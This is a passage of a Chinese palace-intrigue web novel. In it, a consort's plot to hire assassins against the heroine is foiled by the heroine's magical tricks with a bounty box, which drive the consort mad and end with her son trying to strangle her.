“好笑,真好笑,你的意思是说,是我让人把箱子带走,我为什么要这样做,这样对我有什么好处。” “贵人来到忠义局,花钱买命,不算光彩的事情,想必对任何人都要保守秘密,那一箱财物,除了忠义局,就只有贵人知道,而且在一刻钟之内就被盗走,前提还要先知道消息,放在其他人身上,并不现实。” “只有一种可能。” 柳尚看着来人:“贵人来的时候,带了一批人手,前脚刚走,手下立刻行动,把财物盗走。” 这是唯一合理的说法了。 “大胆,大胆!”韩贵妃怒不可遏:“区区五百万两白银,三十斤黄金,不过是我拥有的九牛一毛,你觉得我杀一个讨厌的人,连这点钱都舍不得出。” “你敢这样诬陷我,可知会有什么下场。” 柳尚不为所动:“贵人虽然遮掩得严实,可手指上有经常戴护甲的痕迹,想必是宫中的哪一位贵人,贵人要买凶去杀皇上跟前的红人,要是让皇上知道了,怕是也很难善了。” 韩贵妃全身凉了一瞬,咬牙切齿:“你在威胁我。” “是贵人先不讲道义,想要空手套白狼。” “我没有带人偷那一箱财物,你要我怎么证明自己的清白。” 韩贵妃面纱后面的脸,已经是一片青白。 “我们忠义局拿钱办事,历来如此,没有钱就办不了事。” “万一是你们忠义局监守自盗,偷偷把那一箱黄金银票藏起来,然后算到我的头上。” “这个贵人不必担心,贵人只需要打听,我们忠义局存在几十年,还从来没有做过如此失信之事,这一次财物丢失,虽然不是忠义局的原因,但以后忠义局的名声也要受牵累,这一点可是托了贵人的功劳。” 韩贵妃深吸一口气,她自己想着也觉得不对,送到库房一刻钟之内失窃,难怪忠义局会怀疑她。 这件事到底是谁干的? 第572章 坐实罪名 乔镰儿,韩贵妃的脑海中,蹦出来这么一个名字。 不知道为什么,此时想到这个名字,她有一种毛骨悚然的感觉。 似乎她做的事情,被冥冥之中一双眼睛盯着一样。 韩贵妃又觉得不可能,从她准备实行这个计划以来,都没有走漏半点风声,身边的周嬷嬷不会出卖他,忠义局也不会干砸自家饭碗的事情。 而且,她没有和乔镰儿碰过面,乔镰儿再聪明,也是半点蛛丝马迹都摸不到。 那么,这一切到底是怎么回事? 所以,她一个字一个字地问:“那个箱子是真的失窃了,你敢保证,跟你们忠义局一点关系都没有。” “我以性命担保,以整个忠义局的声誉和前途做担保,如果忠义局欺骗雇主,关门大吉是迟早的事情。”柳尚语气淡淡,可是却不容质疑。 “我也跟你们保证,我没有偷走赏银,这点钱我不是出不起,而且没了那些银票,你们不会好好办事,就不能达到我的目的,我又何必为难自己。” 从对方进来到现在,柳尚也在观察着对方的言行。 此时,他和管家飞快对视一眼。 对方一开始兴师问罪,到现在又做了此番保证,似乎真的是处于愤怒和困惑之中,不像是演出来的。 尤其是管家,现在更加相信,那一个箱子并非雇主盗走。 “如果真是他人所为,这种离开忠义局的视线,在短时间内取物如探囊,又很快逃得无影无踪的能耐,在京城找不到几人。”柳尚道:“我们会好好排查,还请贵人先回去等消息吧。” “赏金已经给你们,你们也当面收下了,却在你们这里丢失,你们能不能查出来是谁偷盗不要紧,我要你们立刻去执行任务。”见对方松了口,韩贵妃开始紧咬不放。 柳尚却似乎早就料到对方会是反应,语气不疾不徐地道:“贵人听快了,鄙人说的是如果,并不排除其他可能。” “再说,赏金失窃,兄弟们没有力气干活,怕是结果也不能如意啊。” 韩贵妃一噎,也不知道对方是真的不相信她,还是以此为借口,丢了赏金,就不想执行任务。 她冷声道:“我支付这么多银票,如果盗走赏金的人迟迟查不到,便不作数了吗?” “有钱干活,没钱,就不能出力,这是古之公理,抱歉了。” 韩贵妃牙根都要咬碎,但是她知道继续争执,只会又绕进去。 “我不想再等了,再给你们同样的数量,你们马上就动手。” 乔镰儿正立在窗边,逗那一只笼子里的百灵鸟,百灵鸟似乎能感觉到她的存在,在里面欢腾地跳来跳去。 闻君此言,她的动作顿了顿。 柳尚有些意外:“贵人难道一点也不可惜前面失窃的赏金。” “我说过,我不是出不起这份钱。” 韩贵妃又怎么会不肉疼,五百万两可不是小数目,即便她的母家是高门又是全国排行前几的大富商,但拿出这么一大笔数目,也要好好掂量一下。 本来想用这么多赏金,一击夺了乔镰儿的性命,哪想到生出这样的乱子。 为了尽快解决乔镰儿,她也只能忍痛再出一份。 便让周嬷嬷回宫取钱。 在等待之际,大厅里的气氛一片僵凝,韩贵妃恨那个盗走赏金的人,心中也怨怪忠义局没有守好赏金,满腹恼意。 她默默盘算着,等到事成了,就把这个忠义局收拾一番,把她的损失收上去,如此一举两得。 这样想着,心头得到了几分安慰。 柳尚正在品茶,抬起眼皮一瞬又垂下,对面的人面纱遮脸,可是他却摸清了对方的意图。 忠义局成立几十年来,想要过河拆桥的雇主多了去了,可是却没有谁能够成功。 要是忠义局没有这个本事,也不能在京城存活这么多年。 买凶杀人,本来就是个大把柄,你给我赏金,我替你完成任务,然后双方泯于江湖,再无来往,这才是明智之举。 有的人偏偏放不下利益,要给自身招惹麻烦。 周嬷嬷来了,她抱着一个箱子,气喘吁吁,满头都是汗水。 这个箱子和上次送来的那个一模一样,乔镰儿立在一旁,又从空间里放出了几只鸟儿。 鸟儿从侧边的屋檐上飞过,把大厅里的人的视线都引了过去。 然后乔镰儿飞快替换了箱子。 “忠义局上空,时常有鸟儿经过,贵人不必惊讶。”柳尚不疑有他。 周嬷嬷打开了箱子,一脸骄傲地报:“三十斤金砖,五百两银票,都在这里面,请忠义局查收。” 这一趟,管家未免要好好看一眼了。 他拿起金砖看了看,又拿起最上面的银票,倒是没有什么问题,正要把这些东西放下,突然脸色一变。 吩咐伙计:“把最近半个月的记录簿拿来。” 伙计去取来,管家打开记录簿,翻开半个月前记下的一页,拿着金砖和银票对照,脸色越来越凝重。 “阁主,您看。” 柳尚起身来,顺着管家手指在银票和记录簿上移动,他一下子就明白过来,脸色变了。 看向韩贵妃,眼里已经是一片冷意,带着深浓的讽刺。 “贵人这一招是高,不过我们忠义局早有准备,贵人方才慷慨陈词,看起来很是令人相信,但即便如此,再好的演技在事实的面前也显得苍白无力,显得可笑。” 他抓紧那几张银票,几乎就要往韩贵妃的面前扔去,可还是克制住了。 “什么意思?你们这是什么意思。”韩贵妃完全不明白,忠义局为什么会是这样的反应。 她都不计较赏金失窃的事情了,又送来了一份,只求尽快完成任务,为什么他们还要为难她? 现在,她的眼里喷着火焰,觉得忠义局是在故意刁难。 管家道:“半个月前,赏金送来,为了方便以后对照和辨认,我便誊抄了两块金砖的编号以及五张放在最上面的银票的编号。” “上次的赏金明明被盗走,可是现在,我又看到了这一批赏金,如假包换,要知道,编号独一无二,就是为了辨别真伪。” “阁下这下子无可抵赖了吧。” 第573章 精神被吓失常 韩贵妃全身如遭雷击,哪有这样诡异的事情? 她赶紧起身来,带着仓促和慌乱,抢过柳尚手上的银票,又抢过管家手中的簿子。 一对照,面纱下的脸一片惨白,人无力地往后退了几步,跌坐在椅子上。 “怎么会这样,怎么会这样?不可能,绝对不可能。” 这活脱脱的,大白日见鬼了。 她看向了周嬷嬷,周嬷嬷也是惊骇不已,摊着手拼命摇头。 “娘娘,您相信奴婢,奴婢是亲自盯着库房新取的金砖和银票,又一路亲自抱来,绝对没有别人经手过。” 不仅如此,抱进来以后就放在桌案上,每个人的举止都在众目睽睽之下,这一次大家彼此之间盯得很紧,没有谁有做手脚的机会。 要说刚才有鸟儿经过,也只是一瞬,而且大家的注意力都被引走了。 越想,韩贵妃越觉得毛骨悚然,身子都颤抖起来,骨子里都是凉的。 “上一次的那一批赏金已经失窃,在你们这里丢失,你们不知道在哪里,我更找不到,我也不知道为什么新取的这一批编号一样,我不知道对方在什么时候做的手脚。” 这番话,韩贵妃说得歇斯底里,声音都有些沙哑破碎了。 她就想不明白,杀个乔镰儿而已,为什么事情要卡在这一步上,还和忠义局有了纠葛。 她感到冥冥之中有一双手,在操纵着她,玩弄着她,在看她的笑话。 她愤怒,她气恨不已,可是却不能拿对方怎么样。 可是对于忠义局来说,编号一致的事,更让他们坐实了雇主盗窃赏金的事实。 说忠义局监守自盗,却是雇主违背信誉,交了赏金之后又偷偷盗走。 这螺旋镖,终于还是扎回了自己的身上。 还搁这里来演戏,演的一个情真意切,就差点没有诅咒发誓了。 不管韩贵妃是什么样的反应,柳尚面如冰霜。 “贵人做到这一步,我们已经没有合作的必要,从此以后,我们忠义局不再接贵人的任务,还请贵人另寻高明吧。” 说着已经是一副赶客的架势。 来过这里的人,虽然遮掩了面目,但是声音,气质,这些都不会变,下一次做另外的乔装再来,也仍然可以辨认得出来。 韩贵妃现在是满心的困惑和惊怕,不再一心想着取了乔镰儿的性命,她感到自己深陷一场噩梦中,需要好好平复一下情绪。 “周嬷嬷,我们走。” 周嬷嬷抱起那个箱子,也是双腿打着摆子跟在韩贵妃的身后。 整件事情都太玄乎其乎了,给人的冲击不是一般的大。 等到二人出了门去,柳尚坐在太师椅上,喝了一口茶把那一抹愤怒给压下去。 “阁主,不对劲。”管家在一旁道。 “眼下事实已了,如何不对劲。”柳尚哼了一声。 他毕竟四十出头,刚刚接过阁主的位置,管家已经六十来岁。 管家道:“小的凭着多年的经验,以为如果是演戏,这也演得太真了,雇主身上的害怕,像是从骨子里发出来的,隔着距离都能感受到她散发的寒气,这件事,怕是另有玄机。” 柳尚回忆了一下,也是觉得,雇主更像是真真实实的恐惧,出门去浑身都在打哆嗦。 “那你觉得,是怎么回事。” 管家俯下身来,压低了声音:“只能用天意来解释,以后关于飞鸾郡主的任务,我们碰都不要碰。” “这一次,是雇主倒霉,说明老天给了我们机会,下一次就不一定了。” 柳尚神色沉吟:“这飞鸾郡主,居然有这么神奇。” “可不,十几岁就立下赫赫军功,又从县主到郡主,不是天命之人,哪里会这样耀眼。” 乔镰儿听着二人把自己一顿夸,摸着下巴,半个月前才想要杀他,现在反倒夸起她来,还挺有意思。 她又到了韩贵妃的宫殿里。 眼下的时节在向春日过渡,哪怕天气已经转暖,韩贵妃却只觉得浑身冷透。 她蜷缩在软榻上,身上裹了好几条厚厚的毯子,旁边密密围着一圈火炉子,加满了炭火。 即便如此,韩贵妃还在喊冷。 “冷,好冷啊,把火加大一点,把那两扇窗子也关上。” “娘娘,这炭火烧多了有毒,要上出去才安全,不能再关窗了。”周嬷嬷说着,又让下人提来两个火炉。 殿里的下人已经热得满身是汗,个个脸颊红热,韩贵妃却是一脸的苍白,像是另一个世界的人。 “你们都出去,出去。” 韩贵妃一挥手,所有下人都退下。 然后韩贵妃朝周嬷嬷伸出手,周嬷嬷赶紧坐过去,握住她的手。 她心中也是害怕不已,不过是为了照顾韩贵妃,所以强撑着。 “你说,会不会是乔镰儿变成了鬼,在一旁跟着我们,把我们的一举一动都看在眼里。” “娘娘,那乔镰儿是个活生生的人,怎么可能是鬼呢,可能我们被厉害的人盯上了,对方的手脚又快,还会一些旁门左道之术,所以弄出了这么一出。” “会是谁,那又会是谁。”韩贵妃的牙关磕碰着,双目涣散没有聚焦,看看左边,又看看右边,头发不知道什么时候凌乱地披散下来,看起来像是一个精神失常之人。 “奴婢已经着人去调查,务必查出一个结果,给娘娘交代,好安抚娘娘的心情。” “结果,会有结果吗?这件事情就像是鬼做的一样。”说着韩贵妃又是一个哆嗦。 她现在虽然陷入惊怕,但是神志大半都在,知道这种事情是调查不出什么来的,毕竟充满着诡异和离奇。 找杀手杀人,她以前不是没有做过,都很顺利,不像这一次,到处都透着不正常。 她联想到乔镰儿的身上,只觉得这个女娃子也像是一个鬼怪的化身,或者说她是被什么附身了。 大皇子的计划那样完美,都着了她的道,这一次,她更是领略到了这种诡玄的失败带来的冲击。 这时,一个太监匆匆进来禀报:“娘娘,皇上往这儿来了。” 第574章 什么真相都抖出来了 这一个多月以来,韩贵妃天天盼着皇帝来看望她。 想不到早不来,早不来,在她状态最不堪的日子,皇帝反而来了。 她哪里能让皇帝看到她这副样子,赶紧道:“快,快给我准备梳妆。” 可是已经来不及了,皇帝已经跨入了院门,往殿里进来。 韩贵妃刚刚下榻,一抬头就打了一个照面。 一个多月不见,韩贵妃披头散发,面容憔悴,魂不守舍,仿佛苍老了十几岁,身边还围着一圈腾腾燃烧的火炉子,她站在中间,脸色一片惨白,显得口脂十分的血红,就像一个疯癫的巫婆。 皇帝愣了一下。 他想过韩贵妃黯然神伤,低头垂泪,犹如梨花带雨,我见犹怜。 也想过韩贵妃一看到他,满脸欣喜,备好果茶,讨他欢心。 没想到却是这样的情形。 随即,皇帝的眉头皱了起来,开口就是质问。 “你怎么把自己弄成这个样子?”这跟他印象中的韩贵妃,俨然成了两个人。 韩贵妃还处于惊怕之中,看到自己赖以依靠的男人,她的眼里散发出晶亮,像抓到了一根救命稻草。 张开手就朝皇帝扑了过去:“皇上,鬼,有鬼,臣妾害怕。” 皇帝的脸色慢慢冷沉下来,他的第一反应,是韩贵妃疯了,大白天的喊着有鬼,精神已经不正常。 韩贵妃扑到皇帝的怀里,浑身战栗不止,眼里盛满了恐惧。 皇帝一动不动,看向周嬷嬷:“这到底是怎么回事?” 周嬷嬷当然不敢把韩贵妃买凶杀郡主的事情说出来,低着头脑子飞快转动:“贵妃娘娘是梦魇了,一直没有从惊吓中回过神来,还希望皇上不要怪贵妃娘娘失礼。” “以前也梦魇过,怎么没有这样严重。”皇帝显然没有那么轻易相信。 韩贵妃这是明显的精神失常,已经到了很严重的程度。 周嬷嬷毕竟是韩贵妃的乳母,又跟在她身边多年,很快有了应对之词。 她轻轻叹了一口气:“那是皇上好久没来了,贵妃身边无人陪伴,梦魇一次比一次严重,最后竟到了这般地步,好在皇上今日终于想起了贵妃,不然长此以往下去,还不知道贵妃会变成什么样子。” 一边说着,一边用帕子擦拭眼角。 皇帝沉默了下来,在想他是否做得过了,贵妃买走上供荔枝,是一时贪嘴,也是因为他以前过于宠溺,罪不至此。 她受了冷落,每天不安,已经算是受到惩罚,他是不愿看到她变成这个样子的。 所以,皇帝的心软了下来,轻轻拍着韩贵妃的后背。 “爱妃不要害怕,是朕疏忽了你,以后会常来看望你,你好好歇息吧,朕在一旁陪着你。”说着亲自把韩贵妃扶去房间。 在皇帝的安慰之下,韩贵妃的情绪似乎平复了不少,也没有那么害怕了。 乔镰儿在一旁看着,寻思着这样可不行啊,如果韩贵妃恢复了盛宠,又要麻烦了。 她身上多一点宠爱,乔家就多一分危险。 既然到了这一步,那就再添一把火吧。 在韩贵妃经过窗台的时候,乔镰儿把在忠义局收进空间里的箱子放出来,在窗台上摆了几秒。 黑色檀木的箱子,一动不动放在那里。 韩贵妃只觉得眼角瞥到了什么东西,定睛一看,一下子瞪大了眼睛。 那是她装赏金去忠义局的箱子,她确定没有看错。 怎么会出现在这里,箱子带回来的时候已经收好了,下人不可能犯这种低级错误。 韩贵妃好不容易恢复一丝颜色的脸瞬间血色尽褪,浑身剧烈地颤抖了起来,发出了一声尖叫。 “啊——” 一边捂住眼睛,往皇帝的怀中躲。 凄厉的叫声,刺得皇帝的耳膜生疼,让他平和的心情也受到了影响。 “出什么事了?” 韩贵妃战战兢兢,往窗台的方向指去:“那里,那里有一个黑色的木箱子。” 可是她却侧着脸不敢看。 皇帝循着她手指的方向看去,窗台上空荡荡的,只有一个插着干花的花瓶。 他的眉头又拧起:“哪里有箱子?贵妃看错了。” 听皇帝的口吻不像是在开玩笑,韩贵妃将手指露出一个缝,一看箱子果然消失了,她愣在原地,呆若木鸡。 可她确信刚才没有看错,瞬间浑身汗毛竖立,似乎有极冷寒风嗖嗖吹过,五脏六腑都像被冰封。 有鬼,真的有鬼在玩弄她,出其不意地来惊吓她。 怪不得,这个计划不能顺利执行,一直有脏东西在暗中干扰。 韩贵妃原本只是怀疑,现在已经是确信,那种极致的恐惧侵占了她的灵魂,让她失去了所有的神智。 “鬼,啊,有鬼!”韩贵妃一把推开皇帝,在殿内转着圈,一边惊恐地伸手挥打着。 她突然阴惨惨地笑了起来,指着一个虚空骂骂咧咧。 “乔镰儿,谁叫你害了我的儿子,不然我又怎么会买凶去杀你,是你有错在先,我都没要了你的命,你还要来报复我,我们母子俩都被你害惨了。” 周嬷嬷听到这样的话大惊失色:“娘娘!快别说了。” 又在皇帝的跟前跪下:“皇上,贵妃娘娘受了惊吓,所以口不择言,这些话不过是妄言而已,皇上千万不要当真。” 皇帝脸色铁青,静静道:“让她说下去。” 再是妄言,又怎么会讲出这么具体的事情? 周嬷嬷战战兢兢,满心不安,只能用恳求的目光看着韩贵妃,一边给她暗示。 可是韩贵妃根本就不看她一眼,她继续指天骂地,虚空索敌。 “我儿子是要灭了你们乔家满门,可那又怎样,我儿子是最受宠的皇长子,想要谁死谁就得死,以后皇位也是他来坐。” “你居然敢让我的儿子吃亏,让他倒这么大的霉,我这个做母亲的,怎么可能不报答回去,你还不服气,找那些腌臜东西来吓我。” “我没有错,错的是你,你们乔家就不该到京城来,哼,这一次不成,还会有下一次,只要你死了,你们乔家就好对付了。” 第575章 失望至极,无限期禁足 韩贵妃无知无觉,只顾发泄着心中的恐慌和愤怒,把所有见不得光的隐秘都泄露出来。 皇帝终于确认,原来是韩贵妃做了亏心事,所以怕鬼敲门。 又是觊觎皇位,又要买凶杀人,目标还是镰儿。 怎么敢的? 皇帝的脸由青转黑,他就这样立在原地,看着韩贵妃发疯,口不择言,抖出那些脏事。 这么多年来,韩贵妃在他的面前,一直是温柔小意的模样,仿佛一朵解语花,懂得讨他的欢心,挠他的痒处,这也是为什么,她入宫二十多年,他仍然对她珍重。 皇子中,他最喜欢的是大皇子,可不仅仅因为他是长子,更重要的原因,是他是韩贵妃所生。 可是,如今看着这一对母子俩的所作所为,皇帝只觉得心寒又失望。 周嬷嬷跪在地上,差点急着打自己的脸刮子。 完了,一切都完了,娘娘这是在自毁前路啊。 “皇上,娘娘因为梦魇的缘故,神志不清,所以胡言乱语,这些话都不是发自内心的,都是假的,奴婢跟在娘娘身边多年,知道娘娘的言行,向来是问心无愧。” “是吗?问心无愧。”皇帝缓缓开口,每一个字都像是从齿缝里挤出来,极冷极寒。 “是,是,娘娘什么都没有做,只是受了惊吓,说的什么连自己都不知道。”周嬷嬷一边说着,一边心虚地转着眼珠子,抬手擦拭额头上的汗水。 可是皇帝将她的神态看在眼里,更加确信,韩贵妃绝不像他印象里的那样善良无辜。 不是做的那些不干净的事情,又怎么会心虚成这个样子。 他看不是在梦魇,而是做了亏心事怕恶果,所以才这样害怕。 皇帝没有再说话,抬脚离开了这里,不过到了院门口,他停住了脚步,吩咐。 “韩贵妃既然受了梦魇的刺激,那便需要好好休养,以后就待在殿里,不要出去了。” 院子里的人听到这样的话心凉了半截,这和禁足有什么区别,而且还没有一个解禁的期限。 以后这里是真的要冷清下来了。 想不到转眼之间,荣宠犹如风一般逝去,大皇子受了惩罚,地位不如以前,韩贵妃也风光不再。 皇帝走后没多久,立刻来了一队带刀侍卫,哗啦啦把这里给围了起来,气氛一下子变得严肃紧张。 韩贵妃也折腾累了,满头大汗地靠在墙根,还在伸手朝着半空挥打着,眼里都是恐惧。 “不要靠近我,不要过来啊。” 又突然发出一阵笑声:“有本事你现身,好让你知道我的厉害,你以为我真的怕你吗?” “来啊,来啊。” 她散乱的头发被汗水浸得湿漉漉的,脸上一片青白,五官狰狞扭曲,就连宫里的下人看到了,也不免要被吓一跳。 只要有人靠近,就会被韩贵妃误认为乔镰儿,抓起手边的东西狠狠打过去。 地上都是碗碟和青花瓷的碎片,还摔了不少古玩摆件。 乔镰儿把这一场大戏前前后后都看了个够,正要离开的时候又想,还是要让韩贵妃疯得彻底一点,免得养一段时间又好起来了。 于是她蹲到韩贵妃的面前,卸去了隐身衣,来了一个贴脸开大。 韩贵妃正在大喊大叫让乔镰儿出来,没想到就看到人在跟前,她的手肘搁在膝盖上,托着腮,朝她歪头一笑。 这样俏皮精怪的样子,在韩贵妃的眼中,却是那样的惊悚可怕。 她死死地瞪着乔镰儿,目眦欲裂,张着嘴巴,想喊喊不出来,只觉得浑身有千斤重,被什么拖住曳住。 突然,韩贵妃的承受到了极限,就这样直挺挺地往后倒了下去。 听到动静,那些被她赶出大殿的下人冲进来。 乔镰儿又穿上隐身衣,消失不见。 “娘娘,娘娘——”周嬷嬷摇晃着韩贵妃,满脸泪水,事情怎么会变成这个样子。 “她出现了,我看到了,乔镰儿,她是鬼,她真的是鬼。”韩贵妃喃喃,语气很是飘忽,仿佛六魄丢了五魄。 比起前面来,已经进入澹妄的地步了,这样的程度,更加难以痊愈。 周嬷嬷转头找了一圈,哪里有乔镰儿的身影,她只能黯然感慨。 皇上失望又愤怒地离去,娘娘却变得更加严重,怕是再也没有未来了。 乔镰儿回家不久,祈公公来了,说是皇上召见她。 她准备了一盒极品挂绿,一同送去宫中。 皇帝在御书房里批着奏折,时而放下手上的活儿,沉默着,不知道在想什么。 祈公公进来禀报:“皇上,飞鸾郡主到了。” 乔镰儿行礼。 皇帝好好打量了她一眼,看到她相安无事,脸上多了一抹安慰。 韩贵妃疯疯癫癫地说没有得逞,果然如此。 抬手让她起来,又让祈公公搬了一个椅子。 “镰儿最近还好吧。” “好着呢,一切如常,多谢皇上关心。”乔镰儿还是有些感动,虽然皇上是为了她的荔枝,但人心是肉长的,其中也是夹杂了真心在。 “若是遇到什么麻烦,你只管与朕说,别闷在心里,朕知道镰儿有能耐应付许多事情,但未必每一件事你都游刃有余,朕不希望镰儿有半点闪失。” 乔镰儿心头一动,她一直把皇帝当成君上,当成老板,所做的一切是为了家族的荣耀,为了乔家能够站稳脚跟。 可是此刻的皇帝,就像一位和蔼的长辈。 有皇帝这番话,若是皇帝遇到了什么,她也愿意全力以赴。 今天送来的荔枝是味道最好的挂绿,皇帝吃得很开心,烦恼都似乎少了一大半。 乔镰儿心里面压着一个想法,几番差点开口,终究是没有说出来。 如果她说愿意为皇帝分忧,皇帝会立刻分辨出来,她有干政之愿,会生出警惕之心。 还是要找一个合适的时机,寻一个没有风险的切入口。 是的,每一步她都要极其谨慎,人在京城,犹如踏在冰上。 韩贵妃疯了的事情,很快就传遍了前朝后宫,高门贵族。 所有人都很诧异,韩贵妃好好的,怎么会突然疯了呢。 这个消息,也传到了大皇子的耳朵里。 第576章 难不成你要害了儿子? 大皇子被禁足,经历了开始几天的狂躁,很快就平静下来,每天看书,练字,很是沉得住气。 对于他来说,一时的得与失,在漫长的人生算不得什么,只有到了最后一天,才知道胜者是谁。 太子固然眼下风光,但只要他耐得住性子,长久蛰伏和等待,鹿死谁手未定。 大泽国开朝百多年,多的是太子不做皇帝的情况。 到时候,乔镰儿,乔家人的命,还不是捏在他的手上,他随意动动手指,就能将乔家摁死。 只要母妃还是父皇最心爱的妃子,他终究还是父皇心头最疼爱的儿子。 这么多年来,韩贵妃盛宠不衰,自有一套虏获圣心的法子。 对这一点,大皇子是很自信的。 所以,韩贵妃疯了的消息传来,大皇子神情很镇定,目光依旧在手上的书卷上。 “本宫知道,有人看本宫不气不恼,天天都在勤勉上进,所以不好受了,随意编造一些谣言,想要动摇本宫的心志,让本宫失去分寸,从而一塌糊涂。” 他的嘴角边勾起一抹冷笑:“这样的伎俩,有什么奇怪的,还说母妃疯了,多么可笑,后宫所有妃嫔,包括皇后都疯了,母妃都不可能疯。” 进来禀报的太监却是一脸的惊恐,着急地道:“殿下,贵妃娘娘是真的疯了,天天喊着有鬼,还说飞鸾郡主就是鬼,一天从早到晚要么就是在疯乱,要么就是折腾累了昏睡。” 大皇子的神情一顿,手上将书卷放了下来,他认真地盯着太监。 太监的反应,让他生出一阵强烈不安的预感。 “你再说一遍。” “贵妃娘娘疯了,真的疯了。” “谁疯了?” “韩贵妃,您的母妃。” “整个后宫都知道了,所有高门传得都是。” 大皇子的脸色一下子变了,血色褪去,一片发青。 他很清楚,自己从小得到皇帝最多的疼爱,最主要的原因在韩贵妃身上。 如果韩贵妃疯了,口不择言,说出了不该说的,皇帝又会如何看待他们母子俩? 所以,他慌了,他害怕了,事关人生前程,没什么事比这更重要。 “为什么会这样,母妃好好的,怎么会疯掉。”大皇子激动起来,声音都有点颤抖。 他还是不能完全相信,更不能接受。 “不知道原因呢,不过贵妃娘娘口口声声飞鸾郡主,说飞鸾郡主是鬼,奴才觉得,怕是跟飞鸾郡主有关,可能贵妃娘娘从飞鸾郡主那儿受到了惊吓。” 大皇子沉郁:“乔镰儿狡猾阴狠,可母妃深居宫中,并不和乔镰儿那个小贱人接触,又怎么会着了她的暗算。” “这就不知道了,但贵妃娘娘好好的,绝不会轻易就疯了,肯定是有缘由的。” 大皇子起身,在书房焦急地踱步,他被禁足,但迟早会到期限,恢复自由身。 可如果韩贵妃真的疯了,失去了神志,那就是伴随下半生的事情,再也没有希望了。 那么他呢,一定会受到很大的波及和影响。 别人是母凭子贵,他是子凭母贵。 等到了半夜,皇宫的防守松懈了,大皇子换上夜行装,在院内人的掩护之下,避开眼目,成功潜入韩贵妃的宫殿。 他要亲眼证实情况。 虽然外头夜色茫茫,可韩贵妃却没有睡下,不管白天黑夜,什么日子什么时辰,随时发疯,疯累了就睡,睡醒了继续疯。 这个时候,她正弓着身子站在大殿中央,用手指指着一个角落,一边打着嘘的手势,脸上带着诡异的笑意。 大皇子差点没有认出来,因为眼前的韩贵妃,跟他印象之中天差地别。 面容枯瘦憔悴,眼窝深陷,双眼却突出,头发凌乱地披散下来,打成了一个个死结,还夹杂了一大半的白发,又弓腰驼背,像个六十多岁的老妪。 等到确认这个人就是他的母妃,大皇子的心彻底凉了。 韩贵妃这个模样,这个形象,这种精神状态,是断断不可能得到父皇的一丝青睐了。 更要命的,是她疯疯癫癫的,可能说出了哪些不该说的话。 一开始下人们拼命想要唤回韩贵妃的神志,可韩贵妃的情况每日愈加严重,已经无可救药,就连周嬷嬷也扔下主子不管,睡下了。 外头的守卫撤去了大半,只剩下零丁几人象征性守着,这些守卫也抱着剑坐在墙根打瞌睡。 空荡荡的大殿里,只有韩贵妃一个人在发疯。 大皇子的脸黑得像锅底,他抓住韩贵妃的肩头,沉声冷冷道。 “母妃,你冷静点,看着我。” 韩贵妃一个激灵,定定看着大皇子,突然她嘿嘿笑了起来,情绪激动了几分。 她抬起手,摸着大皇子的头:“儿啊,你来看母妃了。” 母妃还认得自己,大皇子似乎看到了三分希望,看来他能够让母妃好起来,到时候,好好收拾,把容貌养起来,那些胡言乱语都不作数,母妃还是有可能重新获得宠爱的。 “我会不时来看母妃,母妃要好好珍爱自己,为了自己,也为了昭儿考虑,不能再这样作虐自己了。”大皇子恳切地说。 他压低声音:“等到母妃好了,我也解了禁足,就可以收拾那个小贱人乔镰儿。” 这些话韩贵妃似乎没有听到,她拉着大皇子,弓着背朝那个角落走去,小心翼翼的。 “儿啊,你看到乔镰儿没有,她就躲在那个墙角,一直都在,不知道什么时候会朝母妃扑过来,喝母妃的血,你来了正好,帮母妃打跑她。” 一听这话,大皇子的心凉了半截。 韩贵妃虽然认得他,但也疯癫得很彻底。 他一下子来了怒意,一巴掌狠狠打在韩贵妃的脸上。 韩贵妃被打懵,捂着脸带着委屈看着大皇子。 “母妃,你看清楚,没有乔镰儿,都是你的幻觉罢了,你清醒过来好不好,难不成你要害了儿子我。” 韩贵妃也生气了,声音尖利起来,指着墙根破防跳脚:“那就是乔镰儿,青白着脸,张着血盆大口,眼睛流血盯着咱们,你这个孽种,不相信我,我白生白养你了。” 第577章 疯了无用,那就去死吧 大皇子见韩贵妃如此不可救药,知道多说无益。 但他实在想不明白,韩贵妃怎么会走到这一步。 从韩贵妃的嘴里,已经问不出什么了。 周嬷嬷就睡在韩贵妃的床榻边,摊着一个大字形,打着呼噜,睡得很香。 大皇子过去,一脚把她踹醒。 周嬷嬷看到一个浑身夜行衣的人,以为是刺客,差点没有惊叫起来。 定睛一看是大皇子。 “大,大皇子。” 大皇子脸色黑沉:“告诉本宫,贵妃是如何变成这个样子的,你们到底背着本宫干了什么。” “一五一十,都给本宫讲清楚了。” 周嬷嬷不敢违抗,又想到韩贵妃的情况,需要对症下药,说不定大皇子能想到法子呢。 就把韩贵妃去忠义局,想要买凶杀乔镰儿的事情,从头到尾讲了一遍。 大皇子脸上挂着一层浓霜,听到最后越发凝重起来,瞳孔放大,只觉得一股惊悚的感觉,爬上他的全身。 这件事情,到处充满着诡异。 箱子突然不见了,让忠义局的人怀疑韩贵妃背信弃义。 箱子突然又出现了,坐实了韩贵妃的罪名。 仿佛这个箱子,就是为了让韩贵妃变得疯癫失常。 “贵妃娘娘哪里见过这种事情,一时承受不住,精神变得错乱,又怀疑是乔镰儿所为,所以口口声声都是乔镰儿。” “上一次皇上来了,贵妃娘娘不小心把这件事情抖出来,皇上很生气,让人把这里围起来,从此再也没有来过。” 大皇子的心底被冰水浇凉透,一个受宠的贵妃买凶杀人,杀的还是皇帝跟前的红人,对皇帝很有用的人,难怪皇帝会盛怒。 他一阵阵头疼,不知道该如何做才好。 只有盼着韩贵妃能够好起来,对说过的那些疯话不认账,可是皇帝会相信吗?韩贵妃这个样子,又有多少好起来的希望? 大皇子的脑子突然掠过一个念头,还不如杀了,说不定能够在皇帝的心中留下一抹追思,毕竟疯的时间还不算久。 所以他看韩贵妃的目光,变得阴暗莫测起来,嗜杀的冷意在涌动。 “母妃,既然你活在这个世上,不能帮儿子的忙,那就去死好了,你现在活着,也只能是拖累儿子,就算是你为儿子做的最后一件事吧。” 大皇子一边说着,一边伸手掐住了韩贵妃的脖颈。 “儿子也想孝敬你,谁叫你不争气呢,你放心,你死了以后,儿子会为你报仇,终归是那乔镰儿害了你,她是咱们母子俩共同的敌人。” 大皇子的手在收紧。 韩贵妃虽然成了疯子,但是也能感觉到危险,她惊恐地睁大眼睛,只觉得眼前的人比乔镰儿的鬼魂还要可怕。 而她知道这人是她的儿子,更是浑身战栗不已。 她的喉咙发出破碎的声音,好像被什么碾压过,眼里充满了哀求。 可是大皇子不会因此心软,虎口上蓄足了力道,下一刻就要送韩贵妃归西。 周嬷嬷大叫着跑过来,被大皇子一脚踹飞了去,重重摔在墙上,又掉到地上晕了过去。 